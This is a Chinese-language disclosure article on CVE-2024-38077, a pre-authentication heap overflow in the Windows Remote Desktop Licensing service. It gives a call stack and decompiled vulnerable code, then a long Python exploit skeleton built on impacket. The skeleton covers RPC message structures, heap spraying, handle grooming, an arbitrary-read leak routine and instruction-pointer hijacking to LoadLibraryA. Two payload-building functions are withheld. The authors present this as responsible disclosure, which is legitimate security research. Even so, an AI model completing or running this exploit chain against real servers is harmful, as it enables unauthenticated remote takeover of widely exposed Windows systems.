自"永恒之蓝"之后，Windows再次暴露出一个影响全版本且高度稳定可利用的预认证远程代码执行（RCE）漏洞。
本文将跟随漏洞披露者的第一视角，详细探讨漏洞的技术原理、利用方法，并提供相关的概念验证伪代码。文章同时附有演示视频，展示了该漏洞在最新的Windows Server 2025上的实际利用过程。
值得注意的是，作者声称已提前向微软报告了此漏洞。然而，微软初步判定该漏洞"不太可能被利用"。鉴于此，作者决定采取负责任的披露方式，旨在提高业界的安全警惕性，并敦促用户及时更新系统以防潜在风险。
这一发现不仅凸显了持续性安全研究的重要性，也再次提醒我们即便是最新的系统也可能存在严重漏洞。它将如何影响网络安全格局，值得我们持续关注。
背景
在今年初，我们对Windows远程桌面服务展开了全面深入的安全审计。这次审计揭示了一系列严重漏洞，我们已向微软报告了总计56个安全问题。
其中最为突出的是远程桌面许可服务中发现的几个预认证远程代码执行（RCE）漏洞。这些漏洞的特殊之处在于它们是未经身份验证的非沙箱化零点击RCE，可以被用来构建针对Windows远程桌面许可服务的多种预认证RCE攻击。
值得注意的是，这类零点击预认证RCE漏洞在Windows系统中已经多年未见。由于其潜在的巨大危害，我们将这些漏洞形象地命名为"疯狂"、"恶劣"和"致命"许可漏洞。
本文作为揭示这些高危漏洞系列的开篇之作，将为读者详细介绍这些安全威胁的本质和影响。
本文重点介绍CVE-2024-38077漏洞，我们将其命名为MadLicense【狂躁许可】。我们选择在配备最新安全措施的Windows Server 2025上演示此漏洞的利用，以突显其严重性。
尽管微软宣称该版本具有下一代安全改进，但这个漏洞仍然影响了从Windows Server 2000到2025的所有版本。
为了平衡信息披露和安全考虑，我们不会提供详细的技术说明或完整的概念验证（POC）。相反，我们提供了足以理解漏洞本质的伪代码。这些代码不足以触发或利用漏洞，但足以证明其潜在危险性。
值得注意的是，尽管我们一个月前就告知微软此漏洞可被利用，但微软仍将其标记为"不太可能被利用"。
鉴于此，我们决定进行负责任的披露。我们的目标是提高安全意识，促使用户及时更新系统，并为安全专家提供足够的信息来开发防御措施。
我们希望通过这种方式，在真正的攻击出现之前，为防御者提供充足的准备时间，同时也敦促相关方面重视并解决这一严重的安全隐患。
介绍
2024年7月，微软修复了我们报告的以下7个与RDP（远程桌面协议）相关的漏洞：
CVE-2024-38077: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability
CVE-2024-38076: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability
CVE-2024-38074: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability
CVE-2024-38073: Windows Remote Desktop Licensing Service Denial of Service Vulnerability
CVE-2024-38072: Windows Remote Desktop Licensing Service Denial of Service Vulnerability
CVE-2024-38071: Windows Remote Desktop Licensing Service Denial of Service Vulnerability
CVE-2024-38015: Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability
在这些漏洞中，特别值得关注的是三个针对Windows远程桌面许可服务的远程代码执行（RCE）漏洞，它们的CVSS评分高达9.8。
尽管微软在其公告中认为这些漏洞"不太可能被利用"，但事实却并非如此。我们在补丁发布前就已经向微软证实了这些漏洞的可利用性。
本文将重点展示如何在最新的Windows Server 2025上利用CVE-2024-38077这一预认证RCE漏洞。
我们将演示如何绕过所有现代安全防护机制，实现零点击远程代码执行。令人震惊的是，仅凭这一个漏洞，攻击者就能在无需任何用户交互的情况下完成攻击。这凸显了该漏洞的严重性和紧迫的修复需求。
远程桌面许可（RDL）服务
远程桌面许可服务是Windows Server的核心组件之一，主要负责管理和分发远程桌面服务的许可证，确保用户能够安全合规地访问远程应用程序和桌面环境。
RDL服务在启用远程桌面服务的系统中被广泛部署。默认情况下，远程桌面服务仅允许两个并发会话。若需支持更多同时连接，则必须购买额外的许可证，而RDL服务就是管理这些许可证的关键。
值得注意的是，RDL服务的普及还源于一个常见做法：管理员在Windows服务器上安装远程桌面服务（使用3389端口）时，往往会选择同时安装RDL服务。这导致大量开启3389端口的服务器也同时启用了RDL服务。
在开始对RDL服务进行安全审计之前，我们进行了一次全面的网络扫描，以评估RDL服务在互联网上的部署情况。
结果令人担忧：我们发现至少有17万个活跃的RDL服务直接暴露在公共互联网上，而内部网络中的数量无疑更为庞大。更为严重的是，RDL服务常常部署在关键业务系统和远程桌面集群中。
因此，RDL服务中存在的预认证远程代码执行（RCE）漏洞对整个网络安全环境构成了重大威胁。
CVE-2024-38077：一个简单的堆溢出漏洞
终端服务器许可程序旨在管理连接任何用户或设备到服务器所需的终端服务客户端访问许可证（CALs）。在CDataCoding::DecodeData程序中，分配了一个固定大小的缓冲区（21字节），然后用于计算并填充用户可控长度的缓冲区，导致堆溢出。
以下是调用栈和伪代码：
```windbg
0:012> k
# Child-SP RetAddr Call Site
00 000000b9`d2ffbd30 00007fff`67a76fec lserver!CDataCoding::DecodeData
01 000000b9`d2ffbd70 00007fff`67a5c793 lserver!LKPLiteVerifyLKP+0x38
02 000000b9`d2ffbdc0 00007fff`67a343eb lserver!TLSDBTelephoneRegisterLicenseKeyPack+0x163
03 000000b9`d2ffd7d0 00007fff`867052a3 lserver!TLSRpcTelephoneRegisterLKP+0x15b
04 000000b9`d2fff0c0 00007fff`8664854d RPCRT4!Invoke+0x73
05 000000b9`d2fff120 00007fff`86647fda RPCRT4!NdrStubCall2+0x30d
06 000000b9`d2fff3d0 00007fff`866b7967 RPCRT4!NdrServerCall2+0x1a
07 000000b9`d2fff400 00007fff`86673824 RPCRT4!DispatchToStubInCNoAvrf+0x17
08 000000b9`d2fff450 00007fff`866729e4 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x194
09 000000b9`d2fff520 00007fff`86688d4a RPCRT4!RPC_INTERFACE::DispatchToStub+0x1f4
0a 000000b9`d2fff7c0 00007fff`86688af1 RPCRT4!OSF_SCALL::DispatchHelper+0x13a
0b 000000b9`d2fff8e0 00007fff`86687809 RPCRT4!OSF_SCALL::DispatchRPCCall+0x89
0c 000000b9`d2fff910 00007fff`86686398 RPCRT4!OSF_SCALL::ProcessReceivedPDU+0xe1
0d 000000b9`d2fff9b0 00007fff`86697f4c RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x34c
0e 000000b9`d2fffab0 00007fff`840377f1 RPCRT4!CO_ConnectionThreadPoolCallback+0xbc
0f 000000b9`d2fffb30 00007fff`867f7794 KERNELBASE!BasepTpIoCallback+0x51
10 000000b9`d2fffb80 00007fff`867f7e37 ntdll!TppIopExecuteCallback+0x1b4
11 000000b9`d2fffc00 00007fff`85b11fd7 ntdll!TppWorkerThread+0x547
12 000000b9`d2ffff60 00007fff`8683d9c0 KERNEL32!BaseThreadInitThunk+0x17
13 000000b9`d2ffff90 00000000`00000000 ntdll!RtlUserThreadStart+0x20
```
```C
void __fastcall CDataCoding::SetInputEncDataLen(CDataCoding *this)
{
// ...
dword_1800D61D0 = 35;
v1 = log10_0((double)dword_1800D61C8) * 35.0;
v2 = v1 / log10_0(2.0);
v3 = (int)v2 + 1;
v4 = 0;
if ( v2 <= (double)(int)v2 )
v3 = (int)v2;
LOBYTE(v4) = (v3 & 7) != 0;
LODWORD(dwBytes) = (v3 >> 3) + v4; // dwBytes is a fixed value 21
}
__int64 __fastcall CDataCoding::DecodeData(
CDataCoding *this,
const unsigned __int16 *a2,
unsigned __int8 **a3,
unsigned int *a4)
{
// ...
v4 = 0;
v8 = 0;
if ( a3 )
{
// dwBytes is a global variable with value 21
v9 = dwBytes;
*a3 = 0i64;
*a4 = 0;
ProcessHeap = GetProcessHeap();
v11 = (unsigned __int8 *)HeapAlloc(ProcessHeap, 8u, v9);
v12 = v11;
if ( v11 )
{
memset_0(v11, 0, (unsigned int)dwBytes);
while ( *a2 )
{
// Str is BCDFGHJKMPQRTVWXY2346789
// a2 is user-controlled buffer
v13 = wcschr_0(Str, *a2);
if ( !v13 )
{
v4 = 13;
v18 = GetProcessHeap();
HeapFree(v18, 0, v12);
return v4;
}
// here change the integer a2 from base 24 to base 10
// but does not check the length of a2
v14 = v13 - Str;
v15 = v12;
v16 = (unsigned int)(v8 + 1);
do
{
v17 = dword_1800D61C8 * *v15 + v14;
*v15++ = v17;
LODWORD(v14) = v17 >> 8;
--v16;
}
while ( v16 );
if ( (_DWORD)v14 )
v12[++v8] = v14;
++a2;
}
*a4 = dwBytes;
*a3 = v12;
}
else
{
return 8;
}
}
else
{
return 87;
}
return v4;
}
}
```
概念验证（POC）伪代码
本节我们将展示漏洞利用的基本原理。详细的技术分析将在本系列的后续文章中深入探讨。需要特别说明的是，此处提供的Python代码仅为伪代码。
这段代码不足以触发实际漏洞，更无法用于真正的漏洞利用。我们提供这些信息的目的是证明漏洞的严重性，同时为安全研究人员和系统管理员提供足够的时间来开发防御措施，防止真正的攻击出现。
验证环境：
▪ Windows Server 2025 标准版
版本：24H2 (26236.5000.amd64fre.ge_prerelease.240607-1502)
▪ lserver.dll 版本：10.0.26235.5000
```
import struct, hashlib, argparse
from time import sleep
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.ndr import NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL,ULONG, DWORD, PULONG, PWCHAR, PBYTE, WIDESTR, UCHAR, WORD, BBYTE, LPSTR, PUINT, WCHAR
from impacket.uuid import uuidtup_to_bin
from Crypto.Util.number import bytes_to_long
from wincrypto import CryptEncrypt, CryptImportKey
UUID = uuidtup_to_bin(("3d267954-eeb7-11d1-b94e-00c04fa3080d", "1.0"))
TRY_TIMES = 3
SLEEP_TIME = 210
DESCRIPTION = "MadLicense: Windows Remote Desktop Licensing Service Preauth RCE"
dce = None
rpctransport = None
ctx_handle = None
handle_lists = []
leak_idx = 0
heap_base = 0
ntdll_base = 0
peb_base = 0
pe_base = 0
rpcrt4_base = 0
kernelbase_base = 0
def p8(x):
return struct.pack("B", x)
def p16(x):
return struct.pack("H", x)
def p32(x):
return struct.pack("I", x)
def p64(x):
return struct.pack("Q", x)
class CONTEXT_HANDLE(NDRSTRUCT):
structure = (
("Data", "20s=b"),
)
def getAlignment(self):
return 4
class TLSRpcGetVersion(NDRCALL):
opnum = 0
structure = (
("ctx_handle", CONTEXT_HANDLE),
("version", PULONG),
)
class TLSRpcGetVersionResponse(NDRCALL):
structure = (
("version", ULONG),
)
class TLSRpcConnect(NDRCALL):
opnum = 1
class TLSRpcConnectResponse(NDRCALL):
structure = (
("ctx_handle", CONTEXT_HANDLE),
)
class TLSBLOB(NDRSTRUCT):
structure = (
("cbData", ULONG),
("pbData", PBYTE),
)
class TLSCRYPT_ALGORITHM_IDENTIFIER(NDRSTRUCT):
structure = (
("pszObjId", LPSTR),
("Parameters", TLSBLOB),
)
class TLSCRYPT_BIT_BLOB(NDRSTRUCT):
structure = (
("cbData", DWORD),
("pbData", PBYTE),
("cUnusedBits", DWORD),
)
class TLSCERT_PUBLIC_KEY_INFO(NDRSTRUCT):
structure = (
("Algorithm", TLSCRYPT_ALGORITHM_IDENTIFIER),
("PublicKey", TLSCRYPT_BIT_BLOB),
)
class PTLSCERT_PUBLIC_KEY_INFO(NDRPOINTER):
referent = (
("Data", TLSCERT_PUBLIC_KEY_INFO),
)
class TLSCERT_EXTENSION(NDRSTRUCT):
structure = (
("pszObjId", LPSTR),
("fCritical", BOOL),
("Value", TLSBLOB),
)
class TLSCERT_EXTENSION_ARRAY(NDRUniConformantArray):
item = TLSCERT_EXTENSION
class PTLSCERT_EXTENSION(NDRPOINTER):
referent = (
("Data", TLSCERT_EXTENSION_ARRAY),
)
class TLSHYDRACERTREQUEST(NDRSTRUCT):
structure = (
("dwHydraVersion", DWORD),
("cbEncryptedHwid", DWORD),
("pbEncryptedHwid", PBYTE),
("szSubjectRdn", PWCHAR),
("pSubjectPublicKeyInfo", PTLSCERT_PUBLIC_KEY_INFO),
("dwNumCertExtension", DWORD),
("pCertExtensions", PTLSCERT_EXTENSION),
)
class PTLSHYDRACERTREQUEST(NDRPOINTER):
referent = (
("Data", TLSHYDRACERTREQUEST),
)
class TLSRpcRequestTermServCert(NDRCALL):
opnum = 34
structure = (
("phContext", CONTEXT_HANDLE),
("pbRequest", TLSHYDRACERTREQUEST),
("cbChallengeData", DWORD),
("pdwErrCode", DWORD),
)
class TLSRpcRequestTermServCertResponse(NDRCALL):
structure = (
("cbChallengeData", ULONG),
("pbChallengeData", PBYTE),
("pdwErrCode", ULONG),
)
class TLSRpcRetrieveTermServCert(NDRCALL):
opnum = 35
structure = (
("phContext", CONTEXT_HANDLE),
("cbResponseData", DWORD),
("pbResponseData", BBYTE),
("cbCert", DWORD),
("pbCert", BBYTE),
("pdwErrCode", DWORD),
)
class TLSRpcRetrieveTermServCertResponse(NDRCALL):
structure = (
("cbCert", PUINT),
("pbCert", BBYTE),
("pdwErrCode", PUINT),
)
class TLSRpcTelephoneRegisterLKP(NDRCALL):
opnum = 49
structure = (
("ctx_handle", CONTEXT_HANDLE),
("dwData", ULONG),
("pbData", BBYTE),
("pdwErrCode", ULONG)
)
class TLSRpcTelephoneRegisterLKPResponse(NDRCALL):
structure = (
("pdwErrCode", ULONG)
)
class TLSCHALLENGEDATA(NDRSTRUCT):
structure = (
("dwVersion", ULONG),
("dwRandom", ULONG),
("cbChallengeData", ULONG),
("pbChallengeData", PBYTE),
("cbReservedData", ULONG),
("pbReservedData", PBYTE),
)
class PTLSCHALLENGEDATA(NDRPOINTER):
referent = (
("Data", TLSCHALLENGEDATA),
)
class TLSCHALLENGERESPONSEDATA(NDRSTRUCT):
structure = (
("dwVersion", ULONG),
("cbResponseData", ULONG),
("pbResponseData", PBYTE),
("cbReservedData", ULONG),
("pbReservedData", PBYTE),
)
class PTLSCHALLENGERESPONSEDATA(NDRPOINTER):
referent = (
("Data", TLSCHALLENGERESPONSEDATA),
)
class TLSRpcChallengeServer(NDRCALL):
opnum = 44
structure = (
("phContext", CONTEXT_HANDLE),
("dwClientType", ULONG),
("pClientChallenge", TLSCHALLENGEDATA),
("pdwErrCode", ULONG),
)
class TLSRpcChallengeServerResponse(NDRCALL):
structure = (
("pServerResponse", PTLSCHALLENGERESPONSEDATA),
("pServerChallenge", PTLSCHALLENGEDATA),
("pdwErrCode", ULONG),
)
class TLSRpcResponseServerChallenge(NDRCALL):
opnum = 45
structure = (
("phContext", CONTEXT_HANDLE),
("pClientResponse", TLSCHALLENGERESPONSEDATA),
("pdwErrCode", ULONG),
)
class TLSRpcResponseServerChallengeResponse(NDRCALL):
structure = (
("pdwErrCode", ULONG),
)
class TLSRpcRegisterLicenseKeyPack(NDRCALL):
opnum = 38
structure = (
("lpContext", CONTEXT_HANDLE),
("arg_1", BBYTE),
("arg_2", ULONG),
("arg_3", BBYTE),
("arg_4", ULONG),
("lpKeyPackBlob", BBYTE),
("arg_6", ULONG),
("pdwErrCode", ULONG),
)
class TLSRpcRegisterLicenseKeyPackResponse(NDRCALL):
structure = (
("pdwErrCode", ULONG),
)
class WIDESTR_STRIPPED(WIDESTR):
length = None
def __getitem__(self, key):
if key == 'Data':
return self.fields[key].decode('utf-16le').rstrip('\x00')
else:
return NDR.__getitem__(self,key)
def getDataLen(self, data, offset=0):
if self.length is None:
return super().getDataLen(data, offset)
return self.length * 2
class WCHAR_ARRAY_256(WIDESTR_STRIPPED):
length = 256
class LSKeyPack(NDRSTRUCT):
structure = (
("dwVersion", DWORD),
("ucKeyPackType", UCHAR),
("szCompanyName", WCHAR_ARRAY_256),
("szKeyPackId", WCHAR_ARRAY_256),
("szProductName", WCHAR_ARRAY_256),
("szProductId", WCHAR_ARRAY_256),
("szProductDesc", WCHAR_ARRAY_256),
("wMajorVersion", WORD),
("wMinorVersion", WORD),
("dwPlatformType", DWORD),
("ucLicenseType", UCHAR),
("dwLanguageId", DWORD),
("ucChannelOfPurchase", UCHAR),
("szBeginSerialNumber", WCHAR_ARRAY_256),
("dwTotalLicenseInKeyPack", DWORD),
("dwProductFlags", DWORD),
("dwKeyPackId", DWORD),
("ucKeyPackStatus", UCHAR),
("dwActivateDate", DWORD),
("dwExpirationDate", DWORD),
("dwNumberOfLicenses", DWORD),
)
class LPLSKeyPack(NDRPOINTER):
referent = (
("Data", LSKeyPack),
)
class TLSRpcKeyPackEnumNext(NDRCALL):
opnum = 13
structure = (
("phContext", CONTEXT_HANDLE),
("lpKeyPack", LPLSKeyPack),
("pdwErrCode", ULONG),
)
class TLSRpcKeyPackEnumNextResponse(NDRCALL):
structure = (
("pdwErrCode", ULONG),
)
class TLSRpcDisconnect(NDRCALL):
opnum = 2
structure = (
("ctx_handle", CONTEXT_HANDLE),
)
class TLSRpcDisconnectResponse(NDRCALL):
structure = (
("ctx_handle", CONTEXT_HANDLE),
)
class TLSRpcGetServerName(NDRCALL):
opnum = 4
structure = (
("ctx_handle", CONTEXT_HANDLE),
("serverName", WCHAR),
("nameLen", ULONG),
("errCode", ULONG),
)
class TLSRpcGetServerNameResponse(NDRCALL):
structure = (
("serverName", WCHAR),
("nameLen", ULONG),
("pdwErrCode", ULONG),
)
def b24encode(data, charmap):
data = data[::-1]
data = bytes_to_long(data)
enc = b""
while data != 0:
tmp = data % len(charmap)
data //= len(charmap)
enc += charmap[tmp]
return enc[::-1]
def spray_lfh_chunk(size, loopsize):
payload = b"\x00" * size
reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
for _ in range(loopsize):
dce.request(reg_lic_keypack)
def disconnect(handle):
global dce
disconn = TLSRpcDisconnect()
disconn["ctx_handle"] = handle
disconn_res = dce.request(disconn)
ret = disconn_res["ctx_handle"]
return ret
def handles_free():
global handle_lists, heap_base
sleep(7)
for i in range(0x8):
handle = handle_lists[0x400 + i * 2]
disconnect(handle)
handle_lists.remove(handle)
def spray_handles(times):
global dce, handle_lists
handle_lists = []
for _ in range(times):
rpc_conn = TLSRpcConnect()
res_rpc_conn = dce.request(rpc_conn)
handle = res_rpc_conn["ctx_handle"]
handle_lists.append(handle)
def spray_fake_obj(reg_lic_keypack, times = 0x300):
global dce
for i in range(times):
dce.request(reg_lic_keypack)
def construct_TLSRpcTelephoneRegisterLKP(payload):
global ctx_handle
print("Hidden to prevent abusing")
return tls_register_LKP
def construct_overflow_arbread_buf(addr, padding):
payload = b""
payload += p64(addr)
if padding:
payload += p32(0)
payload += p32(0)
payload += p32(1)
tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
return tls_register_LKP
def construct_overflow_fake_obj_buf(fake_obj_addr):
payload = b""
payload += p64(0)
payload += p32(0)
payload += p32(1)
payload += p32(0)
payload += p32(1)
payload += p64(fake_obj_addr)
payload += p8(1)
tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
return tls_register_LKP
def arb_read(addr, padding = False, passZero = False, leakHeapBaseOffset = 0):
global leak_idx, handle_lists, dce, ctx_handle
if leakHeapBaseOffset != 0:
spray_lfh_chunk(0x20, 0x800)
else:
spray_lfh_chunk(0x20, 0x400)
spray_handles(0xc00)
handles_free()
serverName = "a" * 0x10
get_server_name = TLSRpcGetServerName()
get_server_name["serverName"] = serverName + "\x00"
get_server_name["nameLen"] = len(serverName) + 1
get_server_name["errCode"] = 0
if leakHeapBaseOffset != 0:
tls_register_LKP = construct_overflow_arbread_buf(addr[0], padding)
else:
tls_register_LKP = construct_overflow_arbread_buf(addr, padding)
pbData = b"c" * 0x10
tls_blob = TLSBLOB()
tls_blob["cbData"] = len(pbData)
tls_blob["pbData"] = pbData
tls_cert_extension = TLSCERT_EXTENSION()
tls_cert_extension["pszObjId"] = "d" * 0x10 + "\x00"
tls_cert_extension["fCritical"] = False
tls_cert_extension["Value"] = tls_blob
pbData2 = bytes.fromhex("3048024100bf1be06ab5c535d8e30a3b3dc616ec084ff4f5b9cfb2a30695ccc6c58c37356c938d3c165d980b07882a35f22ac2e580624cc08a2a3391e5e1f608f94764b27d0203010001")
tls_crypt_bit_blob = TLSCRYPT_BIT_BLOB()
tls_crypt_bit_blob["cbData"] = len(pbData2)
tls_crypt_bit_blob["cbData"] = pbData2
tls_crypt_bit_blob["cUnusedBits"] = 0
tls_blob2 = TLSBLOB()
tls_blob2["cbData"] = 0
tls_blob2["pbData"] = b""
tls_crypto_algorithm_identifier = TLSCRYPT_ALGORITHM_IDENTIFIER()
tls_crypto_algorithm_identifier["pszObjId"] = "1.2.840.113549.1.1.1\x00"
tls_crypto_algorithm_identifier["Parameters"] = tls_blob2
tls_cert_public_key_info = TLSCERT_PUBLIC_KEY_INFO()
tls_cert_public_key_info["Algorithm"] = tls_crypto_algorithm_identifier
tls_cert_public_key_info["PublicKey"] = tls_crypt_bit_blob
encryptedHwid = b"e" * 0x20
hydra_cert_request = TLSHYDRACERTREQUEST()
hydra_cert_request["dwHydraVersion"] = 0
hydra_cert_request["cbEncryptedHwid"] = len(encryptedHwid)
hydra_cert_request["pbEncryptedHwid"] = encryptedHwid
hydra_cert_request["szSubjectRdn"] = "bbb\x00"
hydra_cert_request["pSubjectPublicKeyInfo"] = tls_cert_public_key_info
dwNumCertExtension = 0
hydra_cert_request["dwNumCertExtension"] = dwNumCertExtension
pbResponseData = b"a" * 0x10
pbCert = b"b" * 0x10
count = 0
while True:
count += 1
sleep(5)
try:
dce.request(tls_register_LKP)
except:
pass
retAddr = 0x0
for handle in handle_lists[::-1]:
if padding:
get_server_name["ctx_handle"] = handle
res_get_server_name = dce.request(get_server_name)
err_code = res_get_server_name["pdwErrCode"]
if (err_code == 0):
continue
rpc_term_serv_cert = TLSRpcRequestTermServCert()
rpc_term_serv_cert["phContext"] = handle
rpc_term_serv_cert["pbRequest"] = hydra_cert_request
rpc_term_serv_cert["cbChallengeData"] = 0x100
rpc_term_serv_cert["pdwErrCode"] = 0
rpc_retrieve_serv_cert = TLSRpcRetrieveTermServCert()
rpc_retrieve_serv_cert["phContext"] = handle
rpc_retrieve_serv_cert["cbResponseData"] = len(pbResponseData)
rpc_retrieve_serv_cert["pbResponseData"] = pbResponseData
rpc_retrieve_serv_cert["cbCert"] = len(pbCert)
rpc_retrieve_serv_cert["pbCert"] = pbCert
rpc_retrieve_serv_cert["pdwErrCode"] = 0
try:
res_rpc_term_serv_cert = dce.request(rpc_term_serv_cert)
res_rpc_retrieve_serv_cert = dce.request(rpc_retrieve_serv_cert)
data = res_rpc_retrieve_serv_cert["pbCert"]
if b"n\x00c\x00a\x00c\x00n\x00" not in data:
handle_lists.remove(handle)
if leak_idx == 0:
if leakHeapBaseOffset != 0:
for i in range(len(data) - 6):
retAddr = data[i+4:i+6] + data[i+2:i+4] + data[i:i+2]
retAddr = bytes_to_long(retAddr) - leakHeapBaseOffset
if retAddr & 0xffff == 0:
leak_idx = i
print("[+] Find leak_idx: 0x{:x}".format(leak_idx))
return retAddr
else:
print("[-] Finding leak_idx error!")
exit(-1)
else:
if passZero:
data = data[leak_idx:leak_idx+4]
retAddr = data[2:4] + data[0:2]
else:
data = data[leak_idx:leak_idx+6]
retAddr = data[4:6] + data[2:4] + data[0:2]
retAddr = bytes_to_long(retAddr)
return retAddr
except:
continue
if leakHeapBaseOffset != 0:
if count < len(addr):
targetAddr = addr[count]
tls_register_LKP = construct_overflow_arbread_buf(targetAddr, padding)
else:
print("G!")
targetAddr = 0xdeaddeadbeefbeef
tls_register_LKP = construct_overflow_arbread_buf(targetAddr, True)
if leakHeapBaseOffset != 0:
spray_lfh_chunk(0x20, 0x800)
else:
spray_lfh_chunk(0x20, 0x400)
spray_handles(0xc00)
handles_free()
def construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1, NdrServerCall2_offset = 0x16f50, OSF_SCALL_offset = 0xdff10, LoadLibraryA_offset = 0xf6de0):
print("Hidden to prevent abusing")
payload=0
fake_obj_addr=0
return payload, fake_obj_addr
def construct_TLSRpcRegisterLicenseKeyPack(payload):
global ctx_handle
my_cert_exc = bytes.fromhex("308201363081e5a0030201020208019e2bfac0ae2c30300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341003f4ceda402ad607b9d1a38095efe25211010feb1e5a30fe5af6705c2e53a19949eaf50875e2e77c71a9b4945d631360c9dbec1f17d7e096c318547f8167d840e")
my_cert_sig = bytes.fromhex("3082036406092a864886f70d010702a0820355308203510201013100300b06092a864886f70d010701a0820339308201363081e5a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341009fd29b18115c7ef500a2ee543a4bb7528403ccb4e9fe7fe3ac2dcbf9ede68a1eca02f97c6a0f3c2384d85ab12418e523db90958978251e28d0e7903829e46723308201fb308201a9a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a300d310b300906035504031302610030820122300d06092a864886f70d01010105000382010f003082010a0282010100e05a714323273db5f17c731e7db3b07397cf08a6d614484ab715793af931376622e3b86820ddb26ea763636c55092c712296da18049fd7e61b4429b1a14a85ab4567639c2d2fbc6098893ed9c553fb14f9f488f6ffa38f9ee3aaf44888981bdec21e7d617e6c7fc019e8f896098eb76470d56c4666c015f784f172aa7b4999c6fdc48e6e2a4cdaf256d69fcdd14cc82d50eb5a4e48a810679f97a5f6a933dd12e63159a72c1b3ba8c7e59af0dabdcc40f2489df6335f74614b1d2b9016644a12bce70e7470977a6e5025e9251dc4300d6ef39860cad59b06a9b81a27491e83ea826a505c3c756df9529e538259c004a832a67783893486171d3a075db49026e90203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341004b949db70bb077d19adfc707c20420afb99ae1f0a3e857ab4e3f085fe2c84b539412f4235dce03a53a43ddaa76adf7cc32e36af7b8e4e31707f881241d6bf36b3100")
TEST_RSA_PUBLIC_MSKEYBLOB = bytes.fromhex("080200001066000020000000c61b815f961a35c688b5af232f81158c3a21f95ec897a6efa41d5b23bcf0387e")
data = b"\x00" * 0x3c
data += p32(len(payload))
data += payload
data += b"\x00" * 0x10
rsa_pub_key = CryptImportKey(TEST_RSA_PUBLIC_MSKEYBLOB)
encrypted_data = CryptEncrypt(rsa_pub_key, data)
key = TEST_RSA_PUBLIC_MSKEYBLOB
data = encrypted_data
payload = b""
payload += p32(len(key))
payload += key
payload += p32(len(data))
payload += data
reg_lic_keypack = TLSRpcRegisterLicenseKeyPack()
reg_lic_keypack["lpContext"] = ctx_handle
reg_lic_keypack["arg_1"] = my_cert_sig
reg_lic_keypack["arg_2"] = len(my_cert_sig)
reg_lic_keypack["arg_3"] = my_cert_exc
reg_lic_keypack["arg_4"] = len(my_cert_exc)
reg_lic_keypack["lpKeyPackBlob"] = payload
reg_lic_keypack["arg_6"] = len(payload)
reg_lic_keypack["pdwErrCode"] = 0
return reg_lic_keypack
def construct_TLSRpcKeyPackEnumNext(handle):
pLSKeyPack = LSKeyPack()
pLSKeyPack["dwVersion"] = 1
pLSKeyPack["ucKeyPackType"] = 1
pLSKeyPack["szCompanyName"] = "a" * 255 + "\x00"
pLSKeyPack["szKeyPackId"] = "a" * 255 + "\x00"
pLSKeyPack["szProductName"] = "a" * 255 + "\x00"
pLSKeyPack["szProductId"] = "a" * 255 + "\x00"
pLSKeyPack["szProductDesc"] = "a" * 255 + "\x00"
pLSKeyPack["wMajorVersion"] = 1
pLSKeyPack["wMinorVersion"] = 1
pLSKeyPack["dwPlatformType"] = 1
pLSKeyPack["ucLicenseType"] = 1
pLSKeyPack["dwLanguageId"] = 1
pLSKeyPack["ucChannelOfPurchase"] = 1
pLSKeyPack["szBeginSerialNumber"] = "a" * 255 + "\x00"
pLSKeyPack["dwTotalLicenseInKeyPack"] = 1
pLSKeyPack["dwProductFlags"] = 1
pLSKeyPack["dwKeyPackId"] = 1
pLSKeyPack["ucKeyPackStatus"] = 1
pLSKeyPack["dwActivateDate"] = 1
pLSKeyPack["dwExpirationDate"] = 1
pLSKeyPack["dwNumberOfLicenses"] = 1
rpc_key_pack_enum_next = TLSRpcKeyPackEnumNext()
rpc_key_pack_enum_next["phContext"] = handle
rpc_key_pack_enum_next["lpKeyPack"] = pLSKeyPack
rpc_key_pack_enum_next["pdwErrCode"] = 0
return rpc_key_pack_enum_next
def hijack_rip_and_rcx(heap_base, rpcrt4_base, kernelbase_base, arg1):
global handle_lists, dce
payload, fake_obj_addr = construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1)
print("[+] Calculate fake_obj_addr: 0x{:x}".format(fake_obj_addr))
reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
print("[*] Hijack rip and rcx")
print("[*] rip: kernelbase!LoadLibraryA")
print("[*] rcx: {0}".format(arg1))
while True:
spray_fake_obj(reg_lic_keypack)
spray_lfh_chunk(0x20, 0x800)
spray_handles(0xc00)
handles_free()
tls_register_LKP = construct_overflow_fake_obj_buf(fake_obj_addr)
try:
dce.request(tls_register_LKP)
except:
pass
print("[*] Try to connect to server...")
for handle in handle_lists[::-1]:
rpc_key_pack_enum_next = construct_TLSRpcKeyPackEnumNext(handle)
try:
dce.request(rpc_key_pack_enum_next)
except:
pass
print("[*] Check whether the exploit successed? (Y/N)\t")
status = input("[*] ")
